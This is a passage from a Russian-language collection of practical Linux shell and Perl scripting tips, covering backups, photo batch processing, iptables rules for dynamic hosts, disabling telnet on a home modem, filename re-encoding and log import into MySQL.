       git clone https://github.com/nvb13/OpenNet_to_xmpp.git
       cd OpenNet_to_xmpp/
       chmod +x opennet_xmpp.sh
    
    Настройка
    
    Зарегистрируйте Jabber аккаунт бота на любом сервере. 
    
    Заполните поля в файле opennet_xmpp.sh
    
       Jid="" # Логин бота без собаки и хоста.
       Pass="" # Пароль бота
       JServer="" # Сервер бота
       Send_to="" # Jabber ID получателя куда будут приходить новости test@example.com
       Crypt="1" # Шифровать сообщения с OpenPGP или нет. Значения 1 или 0
       Key_Name="" # Имя вашего PGP ключа. Например my_key
    
    Если используете шифрование, то импортируйте публичный ключ получателя.
    
       gpg --import key_file.asc где key_file.asc файл публичного ключа получателя
    
    Проверьте работу скрипта 
    
       ./opennet_xmpp.sh 
    
    Если все работает добавьте задание в cron
    
       crontab -e */30 * * * * /home/username/OpenNet_to_xmpp/opennet_xmpp.sh
    
     
    ----* Автоматическое блокирование экрана при отдалении от компьютера мобильного телефона (доп. ссылка 1)   [комментарии]
     
    Ниже представленный скрипт позволяет организовать автоматический вызов
    блокировщика экрана при отдалении от компьютера мобильного телефона. В качестве
    фактора вызова блокировщика используется пропадание указанного устройства
    Bluetooth из области видимости.
    
    Для определения MAC-адреса и имени устройства, следует использовать утилиту:
    
       hcitool scan
    
    
    Код скрипта:
    
       #!/bin/bash
    
       DEVICE=MAC-адрес Bluetooth-устройства
       DEV_NAME="Имя устройства"
       INTERVAL=5 # in seconds
    
       # The xscreensaver PID
       XSS_PID=
    
       # Start xscreensaver if it's not already running
       pgrep xscreensaver
       if [ $? -eq 1 ]; then
          echo "Starting xscreensaver..."
          xscreensaver &
       fi
       
       # Assumes you've already paired and trusted the device
       while [ 1 ]; do
          opt=`hcitool name $DEVICE`
          if [ "$opt" = "$DEV_NAME" ]; then
             echo "Device '$opt' found"
             if [ -n "$XSS_PID" ]; then
                echo "Killing $XSS_PID"
                kill $XSS_PID
                XSS_PID=
             fi
          else
            echo "Can't find device $DEVICE ($DEV_NAME); locking!"
            xscreensaver-command -lock
            XSS_PID=$!
          fi
          sleep $INTERVAL
          done
    
     
    ----* Определение типа окончания строк (Windows или Unix) для текстовых файлов в небольшом Web-проекте   Автор: Kroz  [комментарии]
     
    Ситуация: небольшой Web-проект разрабатывается несколькими людьми на разных ОС:
    Windows и Linux. В результате в некоторых файлах перевод строк сделан в стиле
    Windows, в некоторых - в стиле Unix. Неудобство состоит в том, что если
    какая-то "интеллектуальная" программа поменяет тип перевода строк, система
    контроля версий Subversion помечает все строки как изменившиеся, и нужны
    дополнительные усилия чтобы определить реальные изменения. Поэтому было принято
    решение определить тип перевода строк в каждом файле, и применить
    соответствующие меры (например, использовать атрибут svn:eol-style в subversion).
    
    Скрипт простой, легко кастомизируется под автоматическую конвертацию (с помощью
    dos2unix), другие типы файлов, определение стиля Macintosh (в данном случае
    различается только Windows и Unix):
    
       for FILE in `find -iname '*.php' -or -iname '*.css' -or -iname '*.js' -or -iname '*.txt' -or -iname '*.xml'` ; do
          echo -n "$FILE ... " ;
          WIN=`grep -P "\\r$" $FILE | head`;
          if [ -z "$WIN" ] ; then
             echo "Unix"
          else
             echo "Windows"
          fi
       done
    
     
    ----* Автоматическое определение в Linux количества процессорных ядер из скрипта   Автор: Карбофос  [комментарии]
     
    Данный подход можно применять для обработки данных на компьютерных системах с
    разным количеством процессорных ядер и использовать для параллелизации
    обработки данных по усмотрению.
    
    Пример скрипта с использованием cppcheck (статический анализ исходников в
    несколько потоков, опция -j)
    
    
    Пример скрипта с использованием cppcheck
    
       #!/bin/sh
    
       COUNT=$(cat /proc/cpuinfo | grep 'model name' | sed -e 's/.*: //' | wc -l)
       echo "number of detected CPUs =" $COUNT
    
       cppcheck -j $COUNT --force --inline-suppr . 2>errors.txt
    
    
    вариант от Vee Nee
    
       COUNT=$(lscpu -p=cpu | grep -v \\# | wc -l)
    
    вариант от pavlinux:
    
       COUNT=$(getconf _NPROCESSORS_ONLN)
    
    дополнение от Andrey Mitrofanov:
    
       COUNT=$(egrep -c '^processor' /proc/cpuinfo)
    
     
    ----* Автоматическая обработка фотографий   Автор: Карбофос  [комментарии]
     
    После покупки сканера для фотоплёнок и его применения у меня возникло несколько сложностей:
    
    1. переименование последовательности фотографий в случае сканирования в обратном порядке
    2. автоматическое переворачивание фотографий относительно какой-то оси. Если
    фотография вверх ногами, то это можно разобрать сразу,
    но если у изображений перепутаны стороны, то такое бросается в глаза далеко не
    сразу. Например, это заметно только по одной-двум фотографиям из всей плёнки.
    3. автоматическая обработка мелких дефектов в конвейере, с наиболее полным
    использованием ядер процессора
    
    Для реверсивной последовательности списка имён файлов и изменения в нормальную
    я написал этот скрипт
    
        #!/bin/bash
        #
        # reversenames.sh
        #
        # маска для моих файлов после сканирования
    
        DEFMASK="*.JPG"
    
        REVLIST=$(ls -r *.JPG)
        REVARRAY=($REVLIST)
    
        # только до половины списка обрабатывать
        len=`expr ${#REVARRAY[@]} / 2`
    
        echo "$len"
        j=0
        for i in $DEFMASK; do
          if [ ! -e $i ]; then
            echo "Error: current directory must contain files with the mask $MASK"
            echo
            exit 1
          fi
    
          echo "rename $i -> ${REVARRAY[j]}"
          mv $i $i.old
          mv ${REVARRAY[j]} $i
          mv $i.old ${REVARRAY[j]}
    
          j=`expr $j + 1`
          if [ $j -eq $len ]; then
            break
          fi
    
        done
    
        echo "ready"
    
    
    Для случая, когда нужно поменять стороны фотографий местами я дополнил скрипт,
    найденный в интернете для кручения фотографий на определённый угол. Вот
    расширенная версия этого скрипта:
    
        #!/bin/bash
        #
        # jpegsrotate.sh
        #
    
        if [ -z `which jpegtran` ]; then
          usage
          echo "Error: jpegtran is needed"
          echo
          exit 1
        fi
    
        shopt -s extglob
    
        DEFMASK="*.JPG"
        DEFEVENMASK="*[02468].JPG"
        DEFODDMASK="*[13579].JPG"
        FLIPMASK=""
        DEFDEG=270
    
        function usage() {
          echo
          echo "usage:"
          echo "$0"
          echo "    rotates files with the mask $DEFMASK by $DEFDEG degrees clockwise"
          echo "$0 --even"
          echo "    rotates even files with the mask $DEFEVENMASK by 180 degrees"
          echo "$0 --odd"
          echo "    rotates odd files with the mask $DEFODDMASK by 180 degrees"
          echo "$0 --params \"REGEXP\" (90|180|270)"
          echo "    rotates files with the mask REGEXP by the given aspect ratio clockwise"
          echo "$0 --flip [h|v]"
          echo "    flip pictures horizontal or vertical"
          echo
        }
    
        if [ "$1" == "--even" ]; then
          MASK=$DEFEVENMASK
          DEG=180
        elif [ "$1" == "--odd" ]; then
          MASK=$DEFODDMASK
          DEG=180
        elif [ "$1" == "--flip" ]; then
          MASK=$DEFMASK
          if [ "$2" == "v" ]; then
            FLIPMASK="vertical"
          else
            FLIPMASK="horizontal"
          fi
        elif [ "$1" == "--params" ]; then
          if [ -n "$2" -a -n "$3" ]; then
            MASK=$2
            DEG=$3
          else
            usage
            exit 1
          fi
        elif [ -n "$1" ]; then
          usage
          exit 1
        else
          MASK=$DEFMASK
          DEG=$DEFDEG
        fi
        echo $MASK
        for i in $MASK; do
          if [ ! -e $i ]; then
            usage
            echo "Error: current directory must contain files with the mask $MASK"
            echo
            exit 1
          fi
          echo "$i"
          if [ "$1" == "--flip" ]; then
            jpegtran -flip $FLIPMASK $i > $i.flipped
            mv $i.flipped $i
          else
            jpegtran -rotate $DEG $i > $i.rotated
            mv $i.rotated $i
          fi
        done
    
    Скрипт нужно вызвать следующим образом (флипнуть по горизонтали):
    
       ./jpegsrotate.sh --flip h
    
    Как видно, необходимо наличие программы jpegtran.
    
    Третий пункт с автоматической обработкой самый интересный. Для этих целей я
    выбрал программу ImageMagick не по каким-то причинам. Позже я испробую подобную
    обработку с GIMP, но в этот раз я использовал достаточно интересный ресурс со
    скриптами для обработки изображений http://www.fmwconcepts.com/imagemagick с
    кучей примеров и результатов обработки при вызове скриптов с определёнными параметрами.
    
    Затем я использовал готовый скрипт для циклической обработки графических файлов
    в директории. Скрипт взял здесь.
    
    Но несколько его видоизменил для использования нескольких ядер процессора.
    
        #!/bin/bash 
        # loop_for_fotos.sh
        #
        #проверяем, установлен ли convert
        convert > /dev/null
        if [ $? -ne 0 ] ; then 
          echo "Error: convert is needed, it's a part of ImageMagick" ;
        fi;
        DIR=$1;
        # велосипед, убирающий "/" в конце 
        if [ -z $1 ]; then $DIR=`pwd`; 
        else
          TEMP=`pwd`;
          cd $DIR; TEMP2=`pwd`; 
          cd $TEMP;
          DIR=$TEMP2;
          echo $TEMP2;
        fi; 
        #наши старые файлы копируем в DIR.orig
        echo $DIR
        mkdir $DIR/orig;
        for i in `ls $DIR/*.JPG`; 
        do
          cp $i orig/;
        done;
        ERR=0;
        CPUS=1;
    
        echo "Start in " $DIR
    
        files=$(ls $DIR/*.JPG)
        list=($files)
        len=${#list[@]}
    
        echo $len
        for(( i=0; i<$len ; i=i+$CPUS))
        do
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              ./denoise -f 2 -s "20x20+203+152" ${list[i+j]} ${list[i+j]}.den.jpg && ./isonoise -r 5 ${list[i+j]}.den.jpg ${list[i+j]}.iso.jpg &
            fi
          done;
    
          for job in `jobs -p` 
          do 
            echo $job 
            wait $job || let "FAIL+=1" 
          done;
        
          if [ $? -eq 0 ]; then 
            echo "denoise, isonoise successfully ;) next step"; 
          else ERR=$[$ERR+1]; #считаем ошибки
          fi;
    
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              rm  ${list[i+j]}.den.jpg
            fi
          done;
    
        done;
    
        CPUS=2;
    
        echo "Start in brightness calibration"
    
        for(( i=0; i<$len ; i=i+$CPUS))
        do
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              ./omnistretch -m HSB -ab 1 -s 1.5 ${list[i+j]}.iso.jpg ${list[i+j]} &
            fi
          done;
    
          for job in `jobs -p` 
          do 
            echo $job 
            wait $job || let "FAIL+=1" 
          done;
        
          if [ $? -eq 0 ]; then 
            echo "omnistretch successfully ;) next step"; 
          else ERR=$[$ERR+1]; #считаем ошибки
          fi;
    
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              rm  ${list[i+j]}.iso.jpg
            fi
          done;
    
        done;
    
        if [ $ERR -eq 0 ]; then 
          echo "Job done!";
        else echo "Job done with some errors.";
        fi;
        echo "You can find your old files in $DIR.orig"
        #end
    
    Вызываем скрипт с параметром "." для актуального директория, где находятся наши фотографии.
    
    В первом цикле я использовал вызов двух скриптов 
    
        ./denoise -f 2 -s "20x20+203+152" ${list[i+j]} ${list[i+j]}.den.jpg \
        && ./isonoise -r 5 ${list[i+j]}.den.jpg ${list[i+j]}.iso.jpg
    
    для последовательного отфильтровывания небольших дефектов. В этих скриптах
    задействованы оба ядра, поэтому для цикла обработки использовалась переменная
    CPUS=1, если в вашем процессоре четыре ядра, то можете увеличить значение в два
    раза и т.д.
    
    Для цикла обработки яркости 
    
       ./omnistretch -m HSB -ab 1 -s 1.5 ${list[i+j]}.iso.jpg ${list[i+j]} &
    
    уже использовалось вызов двух скриптов одновременно, т.к. при вызове одного
    используется только одно ядро. Поэтому значению переменной CPUS перед циклом
    было присвоено 2.
    
    Конечно, скрипт можно несколько улучшить, встроив автоматическое распознание
    количества ядер в системе. Но это уже - по желанию.
    
     
    ----* 10 полезных опций для написания однострочников на языке Perl (доп. ссылка 1)   [комментарии]
     
    В простейших случаях perl можно использовать в командной строке как замену grep и sed, например:
    
        perl -ne 'print if /foo/' 
        perl -pe 's/foo/bar/' 
    
    Но существует ряд интересных особенностей, которые часто упускаются из виду:
    
    Опция "-l"
    
    При добавлении опции "-l" perl автоматически очищает символ перевода строки
    перед обработкой в скрипте и добавляет его при каждом выводе данных.
    
    Например, для очистки завершающих каждую строку файла пробелов можно использовать:
    
        perl -lpe 's/\s*$//'
    
    (если указать perl -pe 's/\s*$//', то будут удалены и символы перевода строки)
    
    
    Опция "-0"
    
    По умолчанию perl разбивает входящий поток на строки, обрабатывая каждую строку
    отдельно. Опция "-0" позволяет выполнить операцию над файлом целиком, без
    разбиения на строки по символу перевода строки, а с разбиением на блоки по
    нулевому символу (так как в текстовых файлах \0 не встречается можно
    использовать -0 для обработки всего файла разом).
    
    Например, для удаления из текущей директории всех файлов, имена которых
    начинаются с тильды, можно использовать:
    
       find . -name '*~' -print0 | perl -0ne unlink
    
    Опция "-i"
    
    При указании "-i" perl считывает поток данных из указанного в командной строке
    файла, а затем записывает в него же результат работы, заменяя его. В качестве
    аргумента можно указать расширение для создания резервной копии файла.
    
    Например для удаления всех комментариев в скрипте script.sh можно использовать:
    
          perl -i.bak -ne 'print unless /^#/' script.sh
    
    На случай ошибки, старая версия файла будет сохранена в script.sh.bak.
    
    
    Оператор ".."
    
    Для оперировании с диапазоном строк необходимо учитывать состояние прошлых
    вычислений, для чего можно использовать оператор "..".
    Например, для раздельной выборки всех GPG-ключей из одного файла, выводя только
    данные, идущие между указанным заголовком и футером, можно использовать:
    
       perl -ne 'print if /-----BEGIN PGP PUBLIC KEY BLOCK-----/../-----END PGP PUBLIC KEY BLOCK-----/' FILE
    
    Опция "-a"
    
    При указании опции "-a" perl автоматически разбивает каждую строку на части, по
    умолчанию используя пробел в качестве разделителя, и помещает ее элементы в
    массив @F.
    Например, для вывода 8 и 2 столбца можно использовать: 
    
       ls -l | perl -lane 'print "$F[7] $F[1]"'
    
    Опция "-F"
    
    Опция "-F" позволяет указать символ разделителя для разбиения строки при использовании опции "-a".
    Например, для разбиения не по пробелу, а по двоеточию, нужно указать:
    
       perl -F: -lane 'print $F[0]' /etc/passwd
    
    
    Оператор "\K"
    
    При указании "\K" внутри регулярного выражения, можно отбросить все ранее
    найденные совпадения, что позволяет упростить операции по замене данных без
    задействования переменных.
    
    Например, для замены поля "From:" в тексте email можно использовать:
    
       perl -lape 's/(^From:).*/$1 Nelson Elhage <nelhage\@ksplice.com>/'
    
    Который можно свести к
    
       perl -lape 's/^From:\K.*/ Nelson Elhage <nelhage\@ksplice.com>/'
    
    уточнив, что мы не хотим заменять начало строки.
    
    Хэш %ENV
    
    К любой переменной системного окружения можно получить доступ через хэш %ENV,
    что можно использовать для выполнения операций с одинарными кавычками,
    использованию которых мешают проблемы с экранированием данного символа в shell.
    
    Для задачи вывода имен пользователей, содержащих апостроф можно использовать:
    
       perl -F: -lane 'print $F[0] if $F[4] =~ /'"'"'/' /etc/passwd
    
    но считать кавычки задача неприятная, поэтому данную строку можно свести к:
    
       env re="'" perl -F: -lane 'print $F[0] if $F[4] =~ /$ENV{re}/' /etc/passwd
    
     
    Конструкции "BEGIN" и "END"
    
    Блоки BEGIN { ... } и END { ... } позволяют организовать выполнение кода до и
    после цикличной обработки строк файла.
    Например, для подсчета суммы второго столбца в CSV файле можно использовать:
    
       perl -F, -lane '$t += $F[1]; END { print $t }'
    
    Опция "-MRegexp::Common"
    
    Через указание опции "-M" можно загрузить любой дополнительный perl-модуль. В
    однострочных скриптах удобно использовать модуль Regexp::Common, содержащий
    коллекцию типовых регулярных выражений для обработки различных видов данных.
    Например, для разбора вывода команды ifconfig можно использовать готовые маски
    для определения IP-адресов:
    
       ip address list eth0 | \
          perl -MRegexp::Common -lne 'print $1 if /($RE{net}{IPv4})/'
    
     
    ----* Поиск "проблемных" бинарников в системе   Автор: Карбофос  [комментарии]
     
    Если в системе по каким-то причинам есть бинарные файлы, а нет внешних
    библиотек к ним, то этот скрипт поможет достаточно просто найти такие файлы:
    
       #!/bin/bash
       # скрипт для поиска проблемных файлов
       # список директорий для поиска
       directory=("/usr/bin/" "/usr/sbin/" "/bin/" "/usr/lib/" "/usr/lib64/")
       toreplace="=> not found"
    
       # Loop through our array.
       for x in ${directory[@]}
       do
         # Find all Files
         # for i in $(find $x -type f -executable)
         for i in $(find $x -type f)
         do
         # если ldd выдает ошибку "not found".. 
         n=`ldd "$i" | grep found 2>/dev/null`
         if [ -n "$n" ]; then
         #  echo $i " not found lib: " $n
         #  с небольшой корректировкой, выкидываем "=> not found"
            echo "$i  not found lib(s): $n" | sed "s/$toreplace//g"
         fi
         done
       done
    
     
    ----* Как избавиться от телнета на модемах для сети СТРИМ   Автор: BlackRu  [комментарии]
     
    Не все знают, что в некоторых модемах, которые в свое время предлагала компания
    Точка.ру (СТРИМ) установлен Linux,
    с работающим телнетом и возможностью входа тех. поддержки.  
    
    Если мы не хоти пускать поддержку к себе - ни через
    телнет, ни веб-интерфейс, делаем скрипт автоматического входа и завершения
    работы telnet, чтобы был доступен только
    веб-вход. 
    
    Скрипт написан с учетом работы модема ZTE ZXDSL 831 без использования expect.
    На модеме не доступны многие команды, включая  pkill -HUP telnetd, но доступна
    команда kill - по id процесса, чего вполне достаточно. Единственным минусом
    является лишь длительность выполнения скрипта из-за повторного входа, так как
    выяснять, какой ID у процесса telnetd придется уже на своем компьютере,
    но без лишних слов - к делу.
    
    
      #!/bin/sh
      (
        sleep 1
        echo "admin"
        sleep 1
        echo "123"
        sleep 1
        echo "sh"
        sleep 1
        echo "ps"
        sleep 1
        ) | telnet 192.168.1.1 23&>/home/user/file1;
    
       grep telnetd /home/user/file1 | awk '{ print $1 }' > /home/user/file2
       cat /home/user/file2
       k=$(cat /home/user/file2)
    
       (
        sleep 1
        echo "admin"
        sleep 1
        echo "123"
        sleep 1
        echo "sh"
        sleep 1
        echo  "kill $k"
        sleep 1
        ) | telnet 192.168.1.1 23
    
    P.S. Первый процесс всегда серверный, что сильно упрощает работу.
    
     
    ----* Сохранение версий небольших проектов (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Допустим Вы пишете скрипт или маленький проект из нескольких файлов.
    Соответственно возникает желание периодически
    сохранять результат своих трудов, чтобы в случае необходимости откатиться на шаг или два назад. 
    Для крупного проекта идеально подойдет система контроля версий, а для маленькой
    задачи подойдет и небольшой shell-скрипт.
    
    Для начала использования скрипта достаточно:
    - переименовать save.sh в просто save - для удобства набора в терминале
    - разместить его где-нибудь в пределах охвата переменной окружения $PATH (тоже для удобства)
    - определить в начале скрипта переменной SAVEDIR путь к желаемой директории хранения файлов
    
    Вот этот shell-скрипт:
    
       #!/bin/sh
    
       SAVEDIR="${HOME}/save"   # where save backups
       LIMIT_BYTES=1048576      # set 1Mb limit
    
       SCRIPT="save"
       VERSION="20090903"
    
       if test "${1}"
       then
          echo "${SCRIPT} version ${VERSION}" >&2
          echo "Saves backup of whole current directory" >&2
          exit 1
       fi
    
       err()
       {
          echo "${SCRIPT}: ERROR: ${1}" >&2
          exit 1
       }
    
       #### check save directory
       test -d "${SAVEDIR}" || mkdir "${SAVEDIR}" 2>/dev/null
       test -d "${SAVEDIR}" || err "failed to create directory: ${SAVEDIR}"
    
       #### check size
       DIR="$(basename $(pwd))"
       DIR_SIZE_BYTES=$(du -s . | awk '{print $1}')
       test ${DIR_SIZE_BYTES} -gt ${LIMIT_BYTES} && err "size (${DIR_SIZE_BYTES}) of ${DIR} is greater than limit of ${LIMIT_BYTES}"
    
       #### saving
       cd .. || err "FAILED"
       tar cpzf "${SAVEDIR}/${DIR}.$(date +%Y%m%d%H%M%S).tar.gz" "${DIR}" || err "failed to create archive"
       echo "saved: ${DIR}"
    
    Например, Вы пишете какой-то хороший ценный скрипт, соответственно предполагаем
    что у Вас открыт терминал
    и рабочей директорией является каталог с разрабатываемым скриптом или документов:
    
       $ pwd
    
       /home/user/tmp/mysmallproject
    
       $ ls -l
       
       итого 12
       -rwxr-xr-x 1 user users 895 2009-09-08 00:52 project.c
       -rwxr-xr-x 1 user users 170 2009-09-08 00:52 project.h
       -rwxr-xr-x 1 user users 865 2009-09-08 00:48 project.sh
    
    Тогда для создания бэкапа просто наберите "save":
    
       $ save
       saved: mysmallproject
    
    Все, копия файлов сохранена. Посмотрим на нее:
    
       $ ll /home/user/save/my*
       -rw-r--r-- 1 user users 1,1K 2009-09-08 00:54 /home/user/save/mysmallproject.20090908005453.tar.gz
    
    Видим что скрипт в указанной директории создает архив текущего рабочего каталога и в имени архива 
    дата до секунд. Это удобно, архивы аккуратно выстраиваются по дате.
    
    В скрипте еще предусмотрена переменная LIMIT_BYTES, значение которой
    ограничивает максимальный размер
    текущей директории (рекурсивно, до архивирования). Это для того чтобы случайно
    не архивировать что-то крупное.
    
     
    ----* Автоматическое изменение правил IPTABLES для IP адресов из записей DynDNS (доп. ссылка 1)   Автор: zaikini  [комментарии]
     
    Возникла задача предоставить сервис для клиентов, использующих внешние динамические адреса. 
    Доступ к сервису ограничен правилами IPTABLES.
    
    Клиентам, которым необходимо получить услугу предлагается создать учетную
    запись на ресурсе dyndns.org,
    клиент получит доменное имя в виде client.dyndns.org.
    
    При каждом изменении ip адреса клиента мы всегда узнаем его адрес по доменному
    имени. Если мы добавим
    правило в iptables для этого доменного имени, правило будет работать только для
    текущего  ip адреса клиента
    и при последующем изменении ip адреса, доступ к сервису будет ограничен.
    
    Оригинал решения был найден здесь:
    http://dave.thehorners.com/content/view/86/65/ , а мы всего лишь доработаем
    этот скрипт.
    
    Создаем несколько каталогов:
    
       /root/dynhosts/ - общий каталог
       /root/dynhosts/zones/ - здесь будем хранить файлы доменных зон клиентов
       /root/dynhosts/logs/ - лог файлы работы скрипта
       /root/dynhosts/scripts/ - здесь будет находится сам запускаемый скрипт
    
    Создаем лог-файл:
    
       touch /root/dynhosts/logs/dynhosts.log
    
    Создаем файл зоны клиента:
    
       touch /root/dynhosts/zones/client.dyndns.org
    
    Создаем сам скрипт /root/dynhosts/scripts/firewall-dynhosts.sh
    
    
       #!/bin/bash
       #
       # filename: firewall-dynhosts.sh
       #
       NOW=$(date)
       CHAIN="dynamichosts"  # change this to whatever chain you want.
       IPTABLES="/sbin/iptables"
       
       # create the chain in iptables.
       $IPTABLES -N $CHAIN
       # insert the chain into the input chain @ the head of the list.
       $IPTABLES -I INPUT 1 -j $CHAIN
       # flush all the rules in the chain
       $IPTABLES -F $CHAIN
      
       FILES=`ls --format=single-column /root/dynhosts/zones/`
       
       echo $FILES
      
       for file in $FILES
       do
          HOSTFILE="/root/dynhosts/zones/$file"
          echo $HOSTFILE
    
          # lookup host name from dns tables
          IP=`/usr/bin/dig +short $file | /usr/bin/tail -n 1`
          if [ "${#IP}" = "0" ]; then
             echo "$NOW Couldn't lookup hostname for $file, failed." >> /root/dynhosts/logs/dynhosts.log
    
             continue
          fi
     
          OLDIP=""
          if [ -a $HOSTFILE ]; then
             OLDIP=`cat $HOSTFILE`
             echo "CAT returned: $?"
          fi
    
          # save off new ip.
          echo $IP>$HOSTFILE
    
          echo "Updating $file in iptables."
          echo "Inserting new rule ($IP)"
          $IPTABLES -A $CHAIN -s $IP/32 -j ACCEPT
    
       done
       exit0
    
    Запускаем скрипт:
    
       /root/dynhosts/scripts/firewall-dynhosts.sh
    
       iptables: Chain already exists
       client.dyndns.org
       CAT returned: 0
       Updating client.dyndns.org in iptables.
       Inserting new rule (213.64.141.6)
    
    Проверяем,
    
       cat /root/dynhosts/zones/client.dyndns.org
       213.64.141.6
    
       /sbin/iptables -nL dynamichosts
    
       Chain dynamichosts
       target     prot opt source               destination
       ACCEPT     all  -  213.64.141.6         0.0.0.0/0
    
    Если такого доменного имени не существует в /root/dynhosts/logs/dynhosts.log
    была бы запись следующего содержания:
    
       Tue Aug 25 09:47:15 MSD 2009 Couldn't lookup hostname for client.dyndns.org, failed.
    
    После того как контракт с клиентом истек достаточно удалить файл его зоны из /root/dynhosts/zones/.
    
    Осталось добавить выполнение скрипта в крон.
    
     
    ----* Массовая конвертация имен файлов и каталогов в другую кодировку (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Если имена большой группы файлов и каталогов не в 7-битной ASCII-кодировке (латиница), 
    то при их переносе между операционными системами с разными локальными кодировками могут возникнуть 
    сложности - нечитаемые знаки вместо привычных имен файлов. Одним из возможных
    решений будет использование
    нижеописанного shell-скрипта, которым можно рекурсивно переконвертировать имена сколь 
    угодно большой группы каталогов и файлов из одной кодировки в другую (не боится пробелов в именах):
    
    #!/bin/sh
    # Script for bulk recode files and directories names
    # to another encodings.
    #
    # Usage:
    #    $ brecode.sh <source_dir> <new_dir>
    #
    
    # source encoding. If commented out, then current locale is used
    #RECODE_FROM="UTF8"
    
    # target encoding (mandatory)
    RECODE_TO="CP1251"
    
    #### error function
    err()
    {
        echo >&2
        echo "$(basename ${0}): error: ${1}" >&2
        echo "exit" >&2
        echo >&2
        exit 1
    }
    
    #### check arguments
    if test "x${1}" = "x"
    then err "no arguments specified"
    elif ! test -d "${1}"
    then err "directory '${1}' not found"
    elif test "x${2}" = "x"
    then err "source directory not specified"
    elif test -e "${2}"
    then err "object '${2}' already exists"
    fi
    
    #### check utilities
    for U in find iconv
    do which ${U} >/dev/null || err "${U} utility not found"
    done
    
    #### recode  & copy
    find "${1}" | while read S
    do
        if test ${RECODE_FROM}
        then N="${2}/$(echo ${S} | iconv -f ${RECODE_FROM} -t ${RECODE_TO})"
        else N="${2}/$(echo ${S} | iconv -t ${RECODE_TO})"
        fi
    
        if test -d "${S}"
        then mkdir -p "${N}" || err "mkdir failed"
        else cp "${S}" "${N}" || err "cp failed"
        fi
    done
    
     
    ----* Определение количества дней в месяце в bash скрипте   Автор: Брызгалов Константин  [комментарии]
     
    В функции решается задача как определить количество дней в месяце:
    Необязательные параметры [месяц [год]]
    
     days_in_month(){ 
      [ "$#" == "2" ] && date -d "$1/01/$2 +1month -1day" +%d
      [ "$#" == "1" ] && days_in_month $1 `date +%Y`
      [ "$#" == "0" ] && days_in_month `date +'%m %Y'`
     }
    
    Или, - односторчник - если нужно узнать количество дней в текущем месяце
       date -d  "`date +'%m/01'`+1month -1day" +%d
    
     
    ----* Пример функции математической разности float-чисел в обход bc   Автор: Alexander Driantsov  [комментарии]
     
    function math_minus {
       num1_point=$(echo $1|sed 's/.*\..*/true/');
       num2_point=$(echo $2|sed 's/.*\..*/true/');
       if [ $num1_point = "true" ]; then
          num1_1=$(echo $1|sed 's/\..*$//');
          num1_2=$(echo $1|sed 's/^.*\.//');
       else
          num1_1=$1;num1_2=0;
       fi; if [ $num2_point == "true" ]; then
          num2_1=$(echo $2|sed 's/\..*$//');
          num2_2=$(echo $2|sed 's/^.*\.//');
       else
          num2_1=$2;num2_2=0;
       fi
       num1_2_len=${#num1_2}
       num2_2_len=${#num2_2}
       if [ $num1_2_len -lt $num2_2_len ]; then
          len_diff=$((num2_2_len-num1_2_len))
          for i in `seq 1 $len_diff`; do
              diff_nulls="${diff_nulls}0"
          done
          num1_2="${num1_2}$diff_nulls"
       fi; if [ $num1_2_len -gt $num2_2_len ]; then
          len_diff=$((num1_2_len-num2_2_len))
          for i in `seq 1 $len_diff`; do
              diff_nulls="${diff_nulls}0"
          done
          num2_2="${num2_2}$diff_nulls"
       fi
    
       if [ $num1_1 -gt $num2_1 ]; then
          num1=$((num1_1-num2_1));
       fi
       if [ $num2_1 -gt $num1_1 ]; then
          num1=$((num2_1-num1_1));
       fi
       num1_len=${#num1}
       num2_len=$((num1_len+1))
       num1="${num1}${num1_2}"
       num2="${num2}${num2_2}"
       if [ $num1 -gt $num2 ]; then
          result=$((num1-num2))
       else
          result=$((num2-num1))
       fi
    
       num1=${result:0:num1_len}
       num2=${result:num2_len}
       result="${num1}.${num2}"
       if [ "$result" == "." ]; then
         result=0
       fi
       echo "$result"
    }
    
    
    Выше превиденный пример является концептуальной демонстрацией, 
    в скриптах для выполнения сложных матеметических операций более подходит bc:
    
    echo "scale=5; a=4.1; (a+80)*3 - a^2 + l(a)" | bc -l
    
    где через scale задается точность в знаках после запятой, 
    l() - натуральный логарифм, "^" - возведение в степень.
    Возможности языка bc очень широки, поддерживаются циклы, условия, функции
    
    Другая форма использования:
     var1=2; var2=$(echo "scale=5; $var2 / 2" | bc)
    
    Для преобразования формата представления чисел удобно использовать утилиту dc
    Перевод числа 11 в шестнадцатеричную форму:
       echo "11 16 o p" | dc
    в двоичную
       echo "11 2 o p" | dc
    
    Выполнения простых целочисленных операций:
       echo $(( 20 / 2 ))
       var1=2; var2=$(( $var1 + 1 ))
    
     
    ----* Быстрй перенос лог-файлов в MySQL   Автор: Alexey Lazarev  [комментарии]
     
    Наверняка, каждый сталкивался с задачей переноса лог-файлов из текстовых файлов в различные БД. 
    И, наверняка, каждый столкнувшийся начинал писать собственные скрипты под это дело. 
    Причем большинство виденных мной скриптов основывались на построчном чтении/переносе данных. 
    Данный способ, конечно, хорош и имеет право на существование, но, к сожалению не очень быстр.
     Но в MySQL существует способ перенести данные из обычных текстовых файлов в БД 
    очень и очень быстро при помощи директивы LOAD DATA INFILE
    
    Пример такого скрипта:
    
    #!/bin/bash
    nld='/var/log/squid3'    # Путь к лог-файлам
    nbd='/opt/backup/squid3' # Путь к папке резервного хранения лог-файлов
    nrc=`squid3 -k rotate`   # Команда ротации лог-файлов для данного сервиса
    nlf='/var/log/logs2mysql/squid.log' # На всякий случай пишем что и когда делали
    
    mh='localhost' # Mysql host
    mu='root'      # Пользователь mysql
    mp='secret'    # Его пароль
    mb='logs'      # База данных
    mt='squid'     # Таблица
    
    echo `date +"%F %T"` "Начало выгрузки" >> $nlf && \
    
    $nrc && \
    for i in `ls $nld | grep access.log.`;
    do
        year=`date +"%Y"`
        month=`date +"%m"`
        day=`date +"%d"`
        prefix=`date +"%F-%H"`
        test -d $nbd/$year/$month/$day || mkdir -p $nbd/$year/$month/$day && \
        cat $nld/$i | sed -e 's/\"/\\\"/g' | sed -e "s/\'/\\\'/g" | \
          awk ' {print strftime("%F",$1),strftime("%T",$1),$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11} ' | \
          sed -e "s/ /\t/g" > $nld/prepare.log && \
